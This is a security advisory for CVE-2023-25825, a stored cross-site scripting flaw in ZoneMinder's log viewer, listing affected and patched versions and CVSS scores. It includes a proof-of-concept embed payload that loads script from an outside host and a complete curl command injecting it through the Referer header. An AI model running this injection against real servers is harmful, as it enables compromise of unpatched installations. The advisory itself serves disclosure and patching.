Skip to content

XSS/JS-RCE in log viewing

High
connortechnology published GHSA-68vf-g4qm-jr6v Feb 24, 2023

Package

zoneminder (ZoneMinder)

Affected versions

< 1.36.33, < 1.37.33

Patched versions

1.36.33, 1.37.33

Description

Impact

Log entries can be injected into the database logs, containing a malicious referrer field. This is unescaped when viewing the logs in the web ui.

The payload is then: <embed type="text/html" src="http://hive.daho.at/xsstest.html" width="10" height="10">
hive.daho.at is my server, file should still be there, content is simple: <script>alert('Hello from the XSS');</script>

In a complete curl statement: curl 'http:///zm/cgi-bin/nph-zms?user=admin&token=asdfa' -H 'Referer: %3Cembed%20type=%22text/html%22%20src=%22http://hive.daho.at/xsstest.html%22%20width=%2210%22%20height=%2210%22%3E'

Patches

Fixed by 4637eaf, then 57bf25d and e1028c1

Workarounds

Patch manually.

Credit

Daniel Hofer

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CVE ID

CVE-2023-25825

Weaknesses

No CWEs